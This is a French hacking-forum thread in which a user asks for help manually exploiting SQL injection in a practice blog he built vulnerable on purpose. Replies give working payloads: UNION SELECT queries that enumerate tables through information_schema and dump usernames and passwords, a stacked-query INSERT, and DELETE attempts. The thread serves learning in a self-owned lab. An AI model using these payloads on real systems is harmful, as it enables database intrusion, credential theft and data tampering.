N-PN White-Hat Project
Injection SQL - Version imprimable

+- N-PN White-Hat Project (https://dev.n-pn.fr/forum)
+-- Forum : Questions (https://dev.n-pn.fr/forum/forumdisplay.php?fid=11)
+--- Forum : Hacking (https://dev.n-pn.fr/forum/forumdisplay.php?fid=29)
+--- Sujet : Injection SQL (/showthread.php?tid=3220)



Injection SQL - acip - 27-07-2013

Salut !

Pour m’entraîner à réussir manuellement des injections SQL, j'ai codé un petit "blog" comportant volontairement une grosse faille.
Lorsque je demande un article : index.php?id=3 , la variable $_GET['id'] est insérée dans une requête SQL sans être traité. La requête n'est pas une requête préparée.
Pour communiquer avec la base de données, j'utilise PDO.

Bref, la faille est évidente. Mais malgré ça, je n'arrive pas à l'exploiter. Havij réussit très bien, mais mon but est d'exploiter la faille manuellement.

J'ai hébergé mes pages à cette adresse : acip.alwaysdata.net
Code source de index.php : pastebin.com/U6DrJ0Ad
Base de données : acip.alwaysdata.net/injectionsql.sql

J'effectue une requête telle que celle ci : index.php?id=1+UNION+DELETE+FROM+users+WHERE+users.id=2

Donc la requête SQL envoyée est celle ci : SELECT * FROM news WHERE id=1 UNION DELETE FROM users WHERE users.id=2

Mais, la ligne de la table "users" comportant l'id n°2 n'est pas supprimée. Idem pour toutes autres types de requêtes.
Je ne comprends pas pourquoi, il y a forcément quelque chose que je fais mal. Car Havij réussit.

Un peu d'aide serait bien venue. Smile
Merci !

EDIT:
Table 'news' :
[Image: 1835629501.png]

Table 'users' :
[Image: 4359013402.png]


RE: Injection SQL - acip - 28-07-2013

Personne ? Undecided
Pourtant à en croire le log, vous êtes nombreux à avoir essayé.


RE: Injection SQL - Hypnoze57 - 28-07-2013

J'ai voulu test mais down visiblement..


RE: Injection SQL - notfound - 28-07-2013

Il est plus que down la


RE: Injection SQL - acip - 28-07-2013

Effectivement, 000webhost l'a fermé. Raison : Cancelled for Abuse (Slow MySQL Queries). :p
Je vais trouver un autre hébergeur et j'éditerais le lien.


RE: Injection SQL - gruik - 28-07-2013

sinon tu montes un apache+mysql chez toi directement, comme ca meme si t'arrives pas à pirater ta base de donnée t'auras quand meme appris des trucs, l'autre solution c'est de prendre un serveur dédié, y'en a à 3€ chez kimsufi en ce moment


RE: Injection SQL - b0fh - 28-07-2013

Salut,

La clause UNION n'accepte que des requêtes SELECT, tu ne peux pas l'utiliser pour faire un DELETE.

Tu peux en revanche utiliser un DELETE dans une subquery, quelque chose comme

Code SQL :
SELECT ... FROM blah WHERE id = (DELETE FROM ... )



RE: Injection SQL - acip - 28-07-2013

Re-up à cette adresse : http://acip.alwaysdata.net !

(28-07-2013, 15h30)gruik a écrit : sinon tu montes un apache+mysql chez toi directement, comme ca meme si t'arrives pas à pirater ta base de donnée t'auras quand meme appris des trucs, l'autre solution c'est de prendre un serveur dédié, y'en a à 3€ chez kimsufi en ce moment

Mais ça fait longtemps que j'ai monté un serveur apache2 et mysql sur mon ordinateur. Wink Mais quel est le rapport ?

(28-07-2013, 15h39)b0fh a écrit : Salut,

La clause UNION n'accepte que des requêtes SELECT, tu ne peux pas l'utiliser pour faire un DELETE.

Tu peux en revanche utiliser un DELETE dans une subquery, quelque chose comme

Code SQL :
SELECT ... FROM blah WHERE id = (DELETE FROM ... )

ah d'accord. Je ne savais pas. Merci Wink



Quand je fais la requête suivante : ?id=500 UNION SELECT * FROM users WHERE users.id=1

La requête me renvoi le tableau suivant :

Code SQL :
Array
(
    [id] => 1
    [0] => 1
    [title] => bob
    [1] => bob
    [content] => t0ps3cr3t#!
    [2] => t0ps3cr3t#!
)


Donc c'est bien car j'obtiens ce que je cherchais, mais je ne comprends pas pourquoi les clés de ce tableaux se nomment 'title' et 'content' alors que le nom des champs sont 'username' et 'password'.


RE: Injection SQL - b0fh - 28-07-2013

Parce que quand on fait un union, les noms des champs sont hérités de la première requête de l'union, pas de la deuxième.


RE: Injection SQL - Hypnoze57 - 28-07-2013

Ton injection
Les tables :
Code :
acip.alwaysdata.net/?id=-9456 union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()--+-

Colonnes de la table users :
Code :
http://acip.alwaysdata.net/?id=-9456%20union%20select%20group_concat%28column_name%29,2,3%20from%20information_schema.columns%20where%20table_schema=database%28%29%20and%20table_name=0x7573657273--+-

Les logs :
Code :
http://acip.alwaysdata.net/?id=-9456%20union%20select%20group_concat%28username,0x3a,password%29,2,3%20from%20users--+-

C'est ceci que tu voulais?


RE: Injection SQL - supersnail - 28-07-2013

(28-07-2013, 15h39)b0fh a écrit : Salut,

La clause UNION n'accepte que des requêtes SELECT, tu ne peux pas l'utiliser pour faire un DELETE.

Tu peux en revanche utiliser un DELETE dans une subquery, quelque chose comme

Code SQL :
SELECT ... FROM blah WHERE id = (DELETE FROM ... )

Personnellement, mysql m'envoie cordialement chier en utilisant une subquery comme ça...

Code :
mysql> create table wtf (id int, name varchar (255), val varchar(255));
Query OK, 0 rows affected (0.10 sec)

mysql> INSERT INTO wtf (name, val) VALUES ('tg', 'suce');
Query OK, 1 row affected (0.04 sec)

mysql> INSERT INTO wtf (name, val) VALUES ('dssdfsdf', 'dsfdse');
Query OK, 1 row affected (0.03 sec)

mysql> select * from wtf where id = (DELETE FROM wtf WHERE id=1);
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'DELETE FROM wtf WHERE id=1)' at line 1

Edit: par contre les stacked queries ont l'air d'être supportées par PDO ...

cf: cr0a://acip.alwaysdata.net/?id=1;%20insert%20into%20news%20%28title,%20content%29%20values%20%28%27omgwtf%27,%20%27bbq%27%29;


RE: Injection SQL - notfound - 28-07-2013

http://acip.alwaysdata.net/?id=8

Big Grin


RE: Injection SQL - gruik - 28-07-2013

(28-07-2013, 16h25)acip a écrit : Mais ça fait longtemps que j'ai monté un serveur apache2 et mysql sur mon ordinateur. Wink Mais quel est le rapport ?

le fait de chercher un hébergeur pour tester des injections sql qui t'ont valu de te faire ejecter par 000webhost peut-être, enfin après c'est vrai que ca tient plus du sens commun que de choses qui s'expliquent facilement...